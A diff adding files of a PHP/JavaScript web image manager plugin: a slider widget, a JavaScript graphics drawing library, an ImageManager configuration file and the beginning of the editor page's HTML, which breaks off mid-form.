+** Version.......: 1.1
+** Author........: Xiang Wei ZHUO <wei@zhuo.org>
+** Filename......: slider.js
+** Last changed..: 31 Mar 2004
+** Notes.........: Works in IE and Mozilla
+**/
+
+var ie=document.all
+var ns6=document.getElementById&&!document.all
+
+document.onmouseup = captureStop;
+
+var currentSlider = null,sliderField = null;
+var rangeMin = null, rangeMax= null, sx = -1, sy = -1, initX=0;
+
+function getMouseXY(e) {
+
+ //alert('hello');
+ x = ns6? e.clientX: event.clientX
+ y = ns6? e.clientY: event.clientY
+
+ if (sx < 0) sx = x; if (sy < 0) sy = y;
+
+ var dx = initX +(x-sx);
+
+ if (dx <= rangeMin)
+ dx = rangeMin;
+ else if (dx >= rangeMax)
+ dx = rangeMax;
+
+ var range = (dx-rangeMin)/(rangeMax - rangeMin)*100;
+
+ if (currentSlider != null)
+ currentSlider.style.left = dx+"px";
+
+ if (sliderField != null)
+ {
+ sliderField.value = parseInt(range);
+ }
+ return false;
+
+}
+
+function initSlider()
+{
+ if (currentSlider == null)
+ currentSlider = document.getElementById('sliderbar');
+
+ if (sliderField == null)
+ sliderField = document.getElementById('quality');
+
+ if (rangeMin == null)
+ rangeMin = 3
+ if (rangeMax == null)
+ {
+ var track = document.getElementById('slidertrack');
+ rangeMax = parseInt(track.style.width);
+ }
+
+}
+
+function updateSlider(value)
+{
+ initSlider();
+
+ var newValue = parseInt(value)/100*(rangeMax-rangeMin);
+
+ if (newValue <= rangeMin)
+ newValue = rangeMin;
+ else if (newValue >= rangeMax)
+ newValue = rangeMax;
+
+ if (currentSlider != null)
+ currentSlider.style.left = newValue+"px";
+
+ var range = newValue/(rangeMax - rangeMin)*100;
+
+ if (sliderField != null)
+ sliderField.value = parseInt(range);
+}
+
+function captureStart()
+{
+
+ initSlider();
+
+ initX = parseInt(currentSlider.style.left);
+ if (initX > rangeMax)
+ initX = rangeMax;
+ else if (initX < rangeMin)
+ initX = rangeMin;
+
+ document.onmousemove = getMouseXY;
+
+ return false;
+}
+
+function captureStop()
+{
+ sx = -1; sy = -1;
+ document.onmousemove = null;
+ return false;
+}
\ No newline at end of file
--- /dev/null
+/***********************************************************************
+** Title.........: Javascript Graphics
+** Version.......: 1.0
+** Author........: Xiang Wei ZHUO <wei@zhuo.org>
+** Filename......: wz_jsgraphics.js
+** Last changed..: 31 Aug 2003
+** Notes.........: Modified for Image Editor, added extra commands
+**/
+
+/* This notice must be untouched at all times.
+
+wz_jsgraphics.js v. 2.03
+The latest version is available at
+http://www.walterzorn.com
+or http://www.devira.com
+or http://www.walterzorn.de
+
+Copyright (c) 2002-2003 Walter Zorn. All rights reserved.
+Created 3. 11. 2002 by Walter Zorn <walter@kreuzotter.de>
+Last modified: 11. 6. 2003
+
+High Performance JavaScript Graphics Library.
+Provides methods
+- to draw lines, rectangles, ellipses, polygons
+ with specifiable line thickness,
+- to fill rectangles and ellipses
+- to draw text.
+NOTE: Operations, functions and branching have rather been optimized
+to efficiency and speed than to shortness of source code.
+
+This program is free software;
+you can redistribute it and/or modify it under the terms of the
+GNU General Public License as published by the Free Software Foundation;
+either version 2 of the License, or (at your option) any later version.
+This program is distributed in the hope that it will be useful,
+but WITHOUT ANY WARRANTY;
+without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
+See the GNU General Public License
+at http://www.gnu.org/copyleft/gpl.html for more details.
+*/
+
+
+
+
+
+var jg_ihtm, jg_ie, jg_dom,
+jg_n4 = (document.layers && typeof document.classes != "undefined");
+
+
+
+
+
+function chkDHTM(x, i)
+{
+ x = document.body || null;
+ jg_ie = (x && typeof x.insertAdjacentHTML != "undefined");
+ jg_dom = (x && !jg_ie &&
+ typeof x.appendChild != "undefined" &&
+ typeof document.createRange != "undefined" &&
+ typeof (i = document.createRange()).setStartBefore != "undefined" &&
+ typeof i.createContextualFragment != "undefined");
+ jg_ihtm = (!jg_ie && !jg_dom && x && typeof x.innerHTML != "undefined");
+}
+
+
+
+
+
+function pntDoc()
+{
+ this.wnd.document.write(this.htm);
+ this.htm = '';
+}
+
+
+
+
+
+function pntCnvDom()
+{
+ var x = document.createRange();
+ x.setStartBefore(this.cnv);
+ x = x.createContextualFragment(this.htm);
+ this.cnv.appendChild(x);
+ this.htm = '';
+}
+
+
+
+
+
+function pntCnvIe()
+{
+ this.cnv.insertAdjacentHTML("BeforeEnd", this.htm);
+ this.htm = '';
+}
+
+
+
+
+
+function pntCnvIhtm()
+{
+ this.cnv.innerHTML += this.htm;
+ this.htm = '';
+}
+
+
+
+
+
+function pntCnv()
+{
+ this.htm = '';
+}
+
+
+
+
+
+function mkDiv(x, y, w, h)
+{
+ this.htm += '<div style="position:absolute;'+
+ 'left:' + x + 'px;'+
+ 'top:' + y + 'px;'+
+ 'width:' + w + 'px;'+
+ 'height:' + h + 'px;'+
+ 'clip:rect(0,'+w+'px,'+h+'px,0);'+
+ 'overflow:hidden;background-color:' + this.color + ';'+
+ '"><\/div>';
+
+ //alert(this.htm);
+}
+
+
+
+
+function mkDivPrint(x, y, w, h)
+{
+ this.htm += '<div style="position:absolute;'+
+ 'border-left:' + w + 'px solid ' + this.color + ';'+
+ 'left:' + x + 'px;'+
+ 'top:' + y + 'px;'+
+ 'width:' + w + 'px;'+
+ 'height:' + h + 'px;'+
+ 'clip:rect(0,'+w+'px,'+h+'px,0);'+
+ 'overflow:hidden;background-color:' + this.color + ';'+
+ '"><\/div>';
+}
+
+
+
+
+
+function mkLyr(x, y, w, h)
+{
+ this.htm += '<layer '+
+ 'left="' + x + '" '+
+ 'top="' + y + '" '+
+ 'width="' + w + '" '+
+ 'height="' + h + '" '+
+ 'bgcolor="' + this.color + '"><\/layer>\n';
+}
+
+
+
+
+
+function mkLbl(txt, x, y)
+{
+ this.htm += '<div style="position:absolute;white-space:nowrap;'+
+ 'left:' + x + 'px;'+
+ 'top:' + y + 'px;'+
+ 'font-family:' + this.ftFam + ';'+
+ 'font-size:' + this.ftSz + ';'+
+ 'color:' + this.color + ';' + this.ftSty + '">'+
+ txt +
+ '<\/div>';
+}
+
+
+
+
+
+function mkLin(x1, y1, x2, y2)
+{
+ if (x1 > x2)
+ {
+ var _x2 = x2;
+ var _y2 = y2;
+ x2 = x1;
+ y2 = y1;
+ x1 = _x2;
+ y1 = _y2;
+ }
+ var dx = x2-x1, dy = Math.abs(y2-y1),
+ x = x1, y = y1,
+ yIncr = (y1 > y2)? -1 : 1;
+
+ if (dx >= dy)
+ {
+ var pr = dy<<1,
+ pru = pr - (dx<<1),
+ p = pr-dx,
+ ox = x;
+ while ((dx--) > 0)
+ {
+ ++x;
+ if (p > 0)
+ {
+ this.mkDiv(ox, y, x-ox, 1);
+ y += yIncr;
+ p += pru;
+ ox = x;
+ }
+ else p += pr;
+ }
+ this.mkDiv(ox, y, x2-ox+1, 1);
+ }
+
+ else
+ {
+ var pr = dx<<1,
+ pru = pr - (dy<<1),
+ p = pr-dy,
+ oy = y;
+ if (y2 <= y1)
+ {
+ while ((dy--) > 0)
+ {
+ if (p > 0)
+ {
+ this.mkDiv(x++, y, 1, oy-y+1);
+ y += yIncr;
+ p += pru;
+ oy = y;
+ }
+ else
+ {
+ y += yIncr;
+ p += pr;
+ }
+ }
+ this.mkDiv(x2, y2, 1, oy-y2+1);
+ }
+ else
+ {
+ while ((dy--) > 0)
+ {
+ y += yIncr;
+ if (p > 0)
+ {
+ this.mkDiv(x++, oy, 1, y-oy);
+ p += pru;
+ oy = y;
+ }
+ else p += pr;
+ }
+ this.mkDiv(x2, oy, 1, y2-oy+1);
+ }
+ }
+}
+
+
+
+
+
+function mkLin2D(x1, y1, x2, y2)
+{
+ if (x1 > x2)
+ {
+ var _x2 = x2;
+ var _y2 = y2;
+ x2 = x1;
+ y2 = y1;
+ x1 = _x2;
+ y1 = _y2;
+ }
+ var dx = x2-x1, dy = Math.abs(y2-y1),
+ x = x1, y = y1,
+ yIncr = (y1 > y2)? -1 : 1;
+
+
+ var s = this.stroke;
+ if (dx >= dy)
+ {
+ if (s-0x3 > 0)
+ {
+ var _s = (s*dx*Math.sqrt(1+dy*dy/(dx*dx))-dx-(s>>1)*dy) / dx;
+ _s = (!(s-0x4)? Math.ceil(_s) : Math.round(_s)) + 1;
+ }
+ else var _s = s;
+ var ad = Math.ceil(s/2);
+
+ var pr = dy<<1,
+ pru = pr - (dx<<1),
+ p = pr-dx,
+ ox = x;
+ while ((dx--) > 0)
+ {
+ ++x;
+ if (p > 0)
+ {
+ this.mkDiv(ox, y, x-ox+ad, _s);
+ y += yIncr;
+ p += pru;
+ ox = x;
+ }
+ else p += pr;
+ }
+ this.mkDiv(ox, y, x2-ox+ad+1, _s);
+ }
+
+ else
+ {
+ if (s-0x3 > 0)
+ {
+ var _s = (s*dy*Math.sqrt(1+dx*dx/(dy*dy))-(s>>1)*dx-dy) / dy;
+ _s = (!(s-0x4)? Math.ceil(_s) : Math.round(_s)) + 1;
+ }
+ else var _s = s;
+ var ad = Math.round(s/2);
+
+ var pr = dx<<1,
+ pru = pr - (dy<<1),
+ p = pr-dy,
+ oy = y;
+ if (y2 <= y1)
+ {
+ ++ad;
+ while ((dy--) > 0)
+ {
+ if (p > 0)
+ {
+ this.mkDiv(x++, y, _s, oy-y+ad);
+ y += yIncr;
+ p += pru;
+ oy = y;
+ }
+ else
+ {
+ y += yIncr;
+ p += pr;
+ }
+ }
+ this.mkDiv(x2, y2, _s, oy-y2+ad);
+ }
+ else
+ {
+ while ((dy--) > 0)
+ {
+ y += yIncr;
+ if (p > 0)
+ {
+ this.mkDiv(x++, oy, _s, y-oy+ad);
+ p += pru;
+ oy = y;
+ }
+ else p += pr;
+ }
+ this.mkDiv(x2, oy, _s, y2-oy+ad+1);
+ }
+ }
+}
+
+
+
+
+
+function mkLinDott(x1, y1, x2, y2)
+{
+ if (x1 > x2)
+ {
+ var _x2 = x2;
+ var _y2 = y2;
+ x2 = x1;
+ y2 = y1;
+ x1 = _x2;
+ y1 = _y2;
+ }
+ var dx = x2-x1, dy = Math.abs(y2-y1),
+ x = x1, y = y1,
+ yIncr = (y1 > y2)? -1 : 1,
+ drw = true;
+ if (dx >= dy)
+ {
+ var pr = dy<<1,
+ pru = pr - (dx<<1),
+ p = pr-dx;
+ while ((dx--) > 0)
+ {
+ if (drw) this.mkDiv(x, y, 1, 1);
+ drw = !drw;
+ if (p > 0)
+ {
+ y += yIncr;
+ p += pru;
+ }
+ else p += pr;
+ ++x;
+ }
+ if (drw) this.mkDiv(x, y, 1, 1);
+ }
+
+ else
+ {
+ var pr = dx<<1,
+ pru = pr - (dy<<1),
+ p = pr-dy;
+ while ((dy--) > 0)
+ {
+ if (drw) this.mkDiv(x, y, 1, 1);
+ drw = !drw;
+ y += yIncr;
+ if (p > 0)
+ {
+ ++x;
+ p += pru;
+ }
+ else p += pr;
+ }
+ if (drw) this.mkDiv(x, y, 1, 1);
+ }
+}
+
+
+
+
+
+function mkOv(left, top, width, height)
+{
+ var a = width>>1, b = height>>1,
+ wod = width&1, hod = (height&1)+1,
+ cx = left+a, cy = top+b,
+ x = 0, y = b,
+ ox = 0, oy = b,
+ aa = (a*a)<<1, bb = (b*b)<<1,
+ st = (aa>>1)*(1-(b<<1)) + bb,
+ tt = (bb>>1) - aa*((b<<1)-1),
+ w, h;
+ while (y > 0)
+ {
+ if (st < 0)
+ {
+ st += bb*((x<<1)+0x3);
+ tt += (bb<<1)*(++x);
+ }
+ else if (tt < 0)
+ {
+ st += bb*((x<<1)+0x3) - (aa<<1)*(y-1);
+ tt += (bb<<1)*(++x) - aa*(((y--)<<1)-0x3);
+ w = x-ox;
+ h = oy-y;
+ if (w&0x2 && h&0x2)
+ {
+ this.mkOvQds(cx, cy, -x+0x2, ox+wod, -oy, oy-1+hod, 1, 1);
+ this.mkOvQds(cx, cy, -x+1, x-1+wod, -y-1, y+hod, 1, 1);
+ }
+ else this.mkOvQds(cx, cy, -x+1, ox+wod, -oy, oy-h+hod, w, h);
+ ox = x;
+ oy = y;
+ }
+ else
+ {
+ tt -= aa*((y<<1)-0x3);
+ st -= (aa<<1)*(--y);
+ }
+ }
+ this.mkDiv(cx-a, cy-oy, a-ox+1, (oy<<1)+hod);
+ this.mkDiv(cx+ox+wod, cy-oy, a-ox+1, (oy<<1)+hod);
+}
+
+
+
+
+
+function mkOv2D(left, top, width, height)
+{
+ var s = this.stroke;
+ width += s-1;
+ height += s-1;
+ var a = width>>1, b = height>>1,
+ wod = width&1, hod = (height&1)+1,
+ cx = left+a, cy = top+b,
+ x = 0, y = b,
+ aa = (a*a)<<1, bb = (b*b)<<1,
+ st = (aa>>1)*(1-(b<<1)) + bb,
+ tt = (bb>>1) - aa*((b<<1)-1);
+
+
+ if (s-0x4 < 0 && (!(s-0x2) || width-0x33 > 0 && height-0x33 > 0))
+ {
+ var ox = 0, oy = b,
+ w, h,
+ pxl, pxr, pxt, pxb, pxw;
+ while (y > 0)
+ {
+ if (st < 0)
+ {
+ st += bb*((x<<1)+0x3);
+ tt += (bb<<1)*(++x);
+ }
+ else if (tt < 0)
+ {
+ st += bb*((x<<1)+0x3) - (aa<<1)*(y-1);
+ tt += (bb<<1)*(++x) - aa*(((y--)<<1)-0x3);
+ w = x-ox;
+ h = oy-y;
+
+ if (w-1)
+ {
+ pxw = w+1+(s&1);
+ h = s;
+ }
+ else if (h-1)
+ {
+ pxw = s;
+ h += 1+(s&1);
+ }
+ else pxw = h = s;
+ this.mkOvQds(cx, cy, -x+1, ox-pxw+w+wod, -oy, -h+oy+hod, pxw, h);
+ ox = x;
+ oy = y;
+ }
+ else
+ {
+ tt -= aa*((y<<1)-0x3);
+ st -= (aa<<1)*(--y);
+ }
+ }
+ this.mkDiv(cx-a, cy-oy, s, (oy<<1)+hod);
+ this.mkDiv(cx+a+wod-s+1, cy-oy, s, (oy<<1)+hod);
+ }
+
+
+ else
+ {
+ var _a = (width-((s-1)<<1))>>1,
+ _b = (height-((s-1)<<1))>>1,
+ _x = 0, _y = _b,
+ _aa = (_a*_a)<<1, _bb = (_b*_b)<<1,
+ _st = (_aa>>1)*(1-(_b<<1)) + _bb,
+ _tt = (_bb>>1) - _aa*((_b<<1)-1),
+
+ pxl = new Array(),
+ pxt = new Array(),
+ _pxb = new Array();
+ pxl[0] = 0;
+ pxt[0] = b;
+ _pxb[0] = _b-1;
+ while (y > 0)
+ {
+ if (st < 0)
+ {
+ st += bb*((x<<1)+0x3);
+ tt += (bb<<1)*(++x);
+ pxl[pxl.length] = x;
+ pxt[pxt.length] = y;
+ }
+ else if (tt < 0)
+ {
+ st += bb*((x<<1)+0x3) - (aa<<1)*(y-1);
+ tt += (bb<<1)*(++x) - aa*(((y--)<<1)-0x3);
+ pxl[pxl.length] = x;
+ pxt[pxt.length] = y;
+ }
+ else
+ {
+ tt -= aa*((y<<1)-0x3);
+ st -= (aa<<1)*(--y);
+ }
+
+ if (_y > 0)
+ {
+ if (_st < 0)
+ {
+ _st += _bb*((_x<<1)+0x3);
+ _tt += (_bb<<1)*(++_x);
+ _pxb[_pxb.length] = _y-1;
+ }
+ else if (_tt < 0)
+ {
+ _st += _bb*((_x<<1)+0x3) - (_aa<<1)*(_y-1);
+ _tt += (_bb<<1)*(++_x) - _aa*(((_y--)<<1)-0x3);
+ _pxb[_pxb.length] = _y-1;
+ }
+ else
+ {
+ _tt -= _aa*((_y<<1)-0x3);
+ _st -= (_aa<<1)*(--_y);
+ _pxb[_pxb.length-1]--;
+ }
+ }
+ }
+
+ var ox = 0, oy = b,
+ _oy = _pxb[0],
+ l = pxl.length,
+ w, h;
+ for (var i = 0; i < l; i++)
+ {
+ if (typeof _pxb[i] != "undefined")
+ {
+ if (_pxb[i] < _oy || pxt[i] < oy)
+ {
+ x = pxl[i];
+ this.mkOvQds(cx, cy, -x+1, ox+wod, -oy, _oy+hod, x-ox, oy-_oy);
+ ox = x;
+ oy = pxt[i];
+ _oy = _pxb[i];
+ }
+ }
+ else
+ {
+ x = pxl[i];
+ this.mkDiv(cx-x+1, cy-oy, 1, (oy<<1)+hod);
+ this.mkDiv(cx+ox+wod, cy-oy, 1, (oy<<1)+hod);
+ ox = x;
+ oy = pxt[i];
+ }
+ }
+ this.mkDiv(cx-a, cy-oy, 1, (oy<<1)+hod);
+ this.mkDiv(cx+ox+wod, cy-oy, 1, (oy<<1)+hod);
+ }
+}
+
+
+
+
+
+function mkOvDott(left, top, width, height)
+{
+ var a = width>>1, b = height>>1,
+ wod = width&1, hod = height&1,
+ cx = left+a, cy = top+b,
+ x = 0, y = b,
+ aa2 = (a*a)<<1, aa4 = aa2<<1, bb = (b*b)<<1,
+ st = (aa2>>1)*(1-(b<<1)) + bb,
+ tt = (bb>>1) - aa2*((b<<1)-1),
+ drw = true;
+ while (y > 0)
+ {
+ if (st < 0)
+ {
+ st += bb*((x<<1)+0x3);
+ tt += (bb<<1)*(++x);
+ }
+ else if (tt < 0)
+ {
+ st += bb*((x<<1)+0x3) - aa4*(y-1);
+ tt += (bb<<1)*(++x) - aa2*(((y--)<<1)-0x3);
+ }
+ else
+ {
+ tt -= aa2*((y<<1)-0x3);
+ st -= aa4*(--y);
+ }
+ if (drw) this.mkOvQds(cx, cy, -x, x+wod, -y, y+hod, 1, 1);
+ drw = !drw;
+ }
+}
+
+
+
+
+
+function mkRect(x, y, w, h)
+{
+ var s = this.stroke;
+ this.mkDiv(x, y, w, s);
+ this.mkDiv(x+w, y, s, h);
+ this.mkDiv(x, y+h, w+s, s);
+ this.mkDiv(x, y+s, s, h-s);
+}
+
+
+
+
+
+function mkRectDott(x, y, w, h)
+{
+ this.drawLine(x, y, x+w, y);
+ this.drawLine(x+w, y, x+w, y+h);
+ this.drawLine(x, y+h, x+w, y+h);
+ this.drawLine(x, y, x, y+h);
+}
+
+
+
+
+
+function jsgFont()
+{
+ this.PLAIN = 'font-weight:normal;';
+ this.BOLD = 'font-weight:bold;';
+ this.ITALIC = 'font-style:italic;';
+ this.ITALIC_BOLD = this.ITALIC + this.BOLD;
+ this.BOLD_ITALIC = this.ITALIC_BOLD;
+}
+var Font = new jsgFont();
+
+
+
+
+
+function jsgStroke()
+{
+ this.DOTTED = -1;
+}
+var Stroke = new jsgStroke();
+
+
+
+
+
+function jsGraphics(id, wnd)
+{
+ this.setColor = new Function('arg', 'this.color = arg;');
+
+
+ this.getColor = new Function('return this.color');
+
+ this.setStroke = function(x)
+ {
+ this.stroke = x;
+ if (!(x+1))
+ {
+ this.drawLine = mkLinDott;
+ this.mkOv = mkOvDott;
+ this.drawRect = mkRectDott;
+ }
+ else if (x-1 > 0)
+ {
+ this.drawLine = mkLin2D;
+ this.mkOv = mkOv2D;
+ this.drawRect = mkRect;
+ }
+ else
+ {
+ this.drawLine = mkLin;
+ this.mkOv = mkOv;
+ this.drawRect = mkRect;
+ }
+ };
+
+
+
+ this.setPrintable = function(arg)
+ {
+ this.printable = arg;
+ this.mkDiv = jg_n4? mkLyr : arg? mkDivPrint : mkDiv;
+ };
+
+
+
+ this.setFont = function(fam, sz, sty)
+ {
+ this.ftFam = fam;
+ this.ftSz = sz;
+ this.ftSty = sty || Font.PLAIN;
+ };
+
+
+
+ this.drawPolyline = this.drawPolyLine = function(x, y, s)
+ {
+ var i = x.length-1; while (i >= 0)
+ this.drawLine(x[i], y[i], x[--i], y[i]);
+ };
+
+
+
+ this.fillRect = function(x, y, w, h)
+ {
+ this.mkDiv(x, y, w, h);
+ };
+
+
+ this.fillRectPattern = function(x, y, w, h, url)
+ {
+ this.htm += '<div style="position:absolute;'+
+ 'left:' + x + 'px;'+
+ 'top:' + y + 'px;'+
+ 'width:' + w + 'px;'+
+ 'height:' + h + 'px;'+
+ 'clip:rect(0,'+w+'px,'+h+'px,0);'+
+ 'overflow:hidden;'+
+ //'background-color:' + this.color + ';'+
+ "background-image: url('" + url + "');"+
+ "layer-background-image: url('" + url + "');"+
+ 'z-index:100;"><\/div>';
+ //alert(this.htm);
+ }
+
+ this.drawHandle = function(x, y, w, h, cursor)
+ {
+
+ this.htm += '<div style="position:absolute;'+
+ 'left:' + x + 'px;'+
+ 'top:' + y + 'px;'+
+ 'width:' + w + 'px;'+
+ 'height:' + h + 'px;'+
+ 'clip:rect(0,'+w+'px,'+h+'px,0);'+
+ 'padding: 2px;overflow:hidden;'+
+ "cursor: '" + cursor + "';"+
+ '" class="handleBox" id="' + cursor + '" ><\/div>';
+ }
+
+ this.drawHandleBox = function(x, y, w, h, cursor)
+ {
+
+ this.htm += '<div style="position:absolute;'+
+ 'left:' + x + 'px;'+
+ 'top:' + y + 'px;'+
+ 'width:' + w + 'px;'+
+ 'height:' + h + 'px;'+
+ 'clip:rect(0,'+(w+2)+'px,'+(h+2)+'px,0);'+
+ 'overflow:hidden; border: solid 1px '+ this.color+';'+
+ "cursor: '" + cursor + "';"+
+ '" class="handleBox" id="' + cursor + '" ><\/div>';
+
+
+ }
+
+ this.drawPolygon = function(x, y)
+ {
+ this.drawPolyline(x, y);
+ this.drawLine(x[x.length-1], y[x.length-1], x[0], y[0]);
+ };
+
+
+
+ this.drawEllipse = this.drawOval = function(x, y, w, h)
+ {
+ this.mkOv(x, y, w, h);
+ };
+
+
+
+ this.fillEllipse = this.fillOval = function(left, top, w, h)
+ {
+ var a = (w -= 1)>>1, b = (h -= 1)>>1,
+ wod = (w&1)+1, hod = (h&1)+1,
+ cx = left+a, cy = top+b,
+ x = 0, y = b,
+ ox = 0, oy = b,
+ aa2 = (a*a)<<1, aa4 = aa2<<1, bb = (b*b)<<1,
+ st = (aa2>>1)*(1-(b<<1)) + bb,
+ tt = (bb>>1) - aa2*((b<<1)-1),
+ pxl, dw, dh;
+ if (w+1) while (y > 0)
+ {
+ if (st < 0)
+ {
+ st += bb*((x<<1)+0x3);
+ tt += (bb<<1)*(++x);
+ }
+ else if (tt < 0)
+ {
+ st += bb*((x<<1)+0x3) - aa4*(y-1);
+ pxl = cx-x;
+ dw = (x<<1)+wod;
+ tt += (bb<<1)*(++x) - aa2*(((y--)<<1)-0x3);
+ dh = oy-y;
+ this.mkDiv(pxl, cy-oy, dw, dh);
+ this.mkDiv(pxl, cy+oy-dh+hod, dw, dh);
+ ox = x;
+ oy = y;
+ }
+ else
+ {
+ tt -= aa2*((y<<1)-0x3);
+ st -= aa4*(--y);
+ }
+ }
+ this.mkDiv(cx-a, cy-oy, w+1, (oy<<1)+hod);
+ };
+
+
+
+ this.drawString = mkLbl;
+
+
+
+ this.clear = function()
+ {
+ this.htm = "";
+ if (this.cnv) this.cnv.innerHTML = this.defhtm;
+
+ };
+
+
+
+ this.mkOvQds = function(cx, cy, xl, xr, yt, yb, w, h)
+ {
+ this.mkDiv(xr+cx, yt+cy, w, h);
+ this.mkDiv(xr+cx, yb+cy, w, h);
+ this.mkDiv(xl+cx, yb+cy, w, h);
+ this.mkDiv(xl+cx, yt+cy, w, h);
+ };
+
+
+ this.setStroke(1);
+ this.setPrintable(false);
+ this.setFont('verdana,geneva,helvetica,sans-serif', String.fromCharCode(0x31, 0x32, 0x70, 0x78), Font.PLAIN);
+ this.color = '#000000';
+ this.htm = '';
+ this.wnd = wnd || window;
+
+
+ if (!(jg_ie || jg_dom || jg_ihtm)) chkDHTM();
+ if (typeof id != 'string' || !id) this.paint = pntDoc;
+ else
+ {
+ this.cnv = document.all? (this.wnd.document.all[id] || null)
+ : document.getElementById? (this.wnd.document.getElementById(id) || null)
+ : null;
+ this.defhtm = (this.cnv && this.cnv.innerHTML)? this.cnv.innerHTML : '';
+ this.paint = jg_dom? pntCnvDom : jg_ie? pntCnvIe : jg_ihtm? pntCnvIhtm : pntCnv;
+ }
+}
--- /dev/null
+<?
+/**
+ * Image Manager configuration file.
+ * @author $Author: cscott $
+ * @version $Id: config.inc.php,v 1.1.1.1 2006/03/27 14:44:13 cscott Exp $
+ * @package ImageManager
+ */
+
+
+/*
+ File system path to the directory you want to manage the images
+ for multiple user systems, set it dynamically.
+
+ NOTE: This directory requires write access by PHP. That is,
+ PHP must be able to create files in this directory.
+ Able to create directories is nice, but not necessary.
+*/
+$IMConfig['base_dir'] = '/home/httpd/www/www.dioceseofgaylord.org/images/ht_images';
+
+/*
+ The URL to the above path, the web browser needs to be able to see it.
+ It can be protected via .htaccess on apache or directory permissions on IIS,
+ check you web server documentation for futher information on directory protection
+ If this directory needs to be publicly accessiable, remove scripting capabilities
+ for this directory (i.e. disable PHP, Perl, CGI). We only want to store assets
+ in this directory and its subdirectories.
+*/
+$IMConfig['base_url'] = 'http://devsys.gaslightmedia.com/www.dioceseofgaylord.org/images/ht_images/';
+
+/*
+ Possible values: true, false
+
+ TRUE - If PHP on the web server is in safe mode, set this to true.
+ SAFE MODE restrictions: directory creation will not be possible,
+ only the GD library can be used, other libraries require
+ Safe Mode to be off.
+
+ FALSE - Set to false if PHP on the web server is not in safe mode.
+*/
+$IMConfig['safe_mode'] = false;
+
+/*
+ Possible values: 'GD', 'IM', or 'NetPBM'
+
+ The image manipulation library to use, either GD or ImageMagick or NetPBM.
+ If you have safe mode ON, or don't have the binaries to other packages,
+ your choice is 'GD' only. Other packages require Safe Mode to be off.
+*/
+define('IMAGE_CLASS', 'IM');
+
+
+/*
+ After defining which library to use, if it is NetPBM or IM, you need to
+ specify where the binary for the selected library are. And of course
+ your server and PHP must be able to execute them (i.e. safe mode is OFF).
+ GD does not require the following definition.
+*/
+define('IMAGE_TRANSFORM_LIB_PATH', '/usr/bin/');
+
+
+/* ============== OPTIONAL SETTINGS ============== */
+
+
+/*
+ The prefix for thumbnail files, something like .thumb will do. The
+ thumbnails files will be named as "prefix_imagefile.ext", that is,
+ prefix + orginal filename.
+*/
+$IMConfig['thumbnail_prefix'] = '.thumbs';
+
+/*
+ Thumbnail can also be stored in a directory, this directory
+ will be created by PHP. If PHP is in safe mode, this parameter
+ is ignored, you can not create directories.
+
+ If you do not want to store thumbnails in a directory, set this
+ to false or empty string '';
+*/
+$IMConfig['thumbnail_dir'] = '.thumbs';
+
+/*
+ Possible values: true, false
+
+ TRUE - Allow the user to create new sub-directories in the
+ $IMConfig['base_dir'].
+
+ FALSE - No directory creation.
+
+ NOTE: If $IMConfig['safe_mode'] = true, this parameter
+ is ignored, you can not create directories
+*/
+$IMConfig['allow_new_dir'] = true;
+
+/*
+ Possible values: true, false
+
+ TRUE - Allow the user to upload files.
+
+ FALSE - No uploading allowed.
+*/
+$IMConfig['allow_upload'] = true;
+
+/*
+ Possible values: true, false
+
+ TRUE - If set to true, uploaded files will be validated based on the
+ function getImageSize, if we can get the image dimensions then
+ I guess this should be a valid image. Otherwise the file will be rejected.
+
+ FALSE - All uploaded files will be processed.
+
+ NOTE: If uploading is not allowed, this parameter is ignored.
+*/
+$IMConfig['validate_images'] = true;
+
+/*
+ The default thumbnail if the thumbnails can not be created, either
+ due to error or bad image file.
+*/
+$IMConfig['default_thumbnail'] = 'img/default.gif';
+
+/*
+ Thumbnail dimensions.
+*/
+$IMConfig['thumbnail_width'] = 96;
+$IMConfig['thumbnail_height'] = 96;
+
+/*
+ Image Editor temporary filename prefix.
+*/
+$IMConfig['tmp_prefix'] = '.editor_';
+?>
--- /dev/null
+<?
+/**
+ * The PHP Image Editor user interface.
+ * @author $Author: cscott $
+ * @version $Id: editor.php,v 1.1.1.1 2006/03/27 14:44:13 cscott Exp $
+ * @package ImageManager
+ */
+
+require_once('config.inc.php');
+require_once('Classes/ImageManager.php');
+require_once('Classes/ImageEditor.php');
+
+$manager = new ImageManager($IMConfig);
+$editor = new ImageEditor($manager);
+
+?>
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
+
+<html>
+<head>
+ <title></title>
+ <link href="assets/editor.css" rel="stylesheet" type="text/css" />
+<script type="text/javascript" src="assets/slider.js"></script>
+<script type="text/javascript" src="assets/popup.js"></script>
+<script type="text/javascript">
+/*<![CDATA[*/
+ window.resizeTo(673, 531);
+ if(window.opener)
+ I18N = window.opener.I18N;
+/*]]>*/
+</script>
+<script type="text/javascript" src="assets/editor.js"></script>
+</head>
+
+<body>
+<div id="indicator">
+<img src="img/spacer.gif" id="indicator_image" height="20" width="20" alt="" />
+</div>
+<div id="tools">
+ <div id="tools_crop" style="display:none;">
+ <div id="tool_inputs">
+ <label for="cx">Start X:</label><input type="text" id="cx" class="textInput" onchange="updateMarker('crop')"/>
+ <label for="cy">Start Y:</label><input type="text" id="cy" class="textInput" onchange="updateMarker('crop')"/>
+ <label for="cw">Width:</label><input type="text" id="cw" class="textInput" onchange="updateMarker('crop')"/>
+ <label for="ch">Height:</label><input type="text" id="ch" class="textInput" onchange="updateMarker('crop')"/>
+ <img src="img/div.gif" height="30" width="2" class="div" alt="|" />
+ </div>
+ <a href="javascript: editor.doSubmit('crop');" class="buttons" title="OK"><img src="img/btn_ok.gif" height="30" width="30" alt="OK" /></a>
+ <a href="javascript: editor.reset();" class="buttons" title="Cancel"><img src="img/btn_cancel.gif" height="30" width="30" alt="Cancel" /></a>
+ </div>
+ <div id="tools_scale" style="display:none;">
+ <div id="tool_inputs">
+ <label for="sw">Width:</label><input type="text" id="sw" class="textInput" onchange="checkConstrains('width')"/>
+ <a href="javascript:toggleConstraints();" title="Lock"><img src="img/islocked2.gif" id="scaleConstImg" height="14" width="8" alt="Lock" class="div" /></a><label for="sh">Height:</label>
+ <input type="text" id="sh" class="textInput" onchange="checkConstrains('height')"/>
+ <input type="checkbox" id="constProp" value="1" checked="checked" onclick="toggleConstraints()"/>
+ <label for="constProp">Constrain Proportions</label>
+ <img src="img/div.gif" height="30" width="2" class="div" alt="|" />
+ </div>
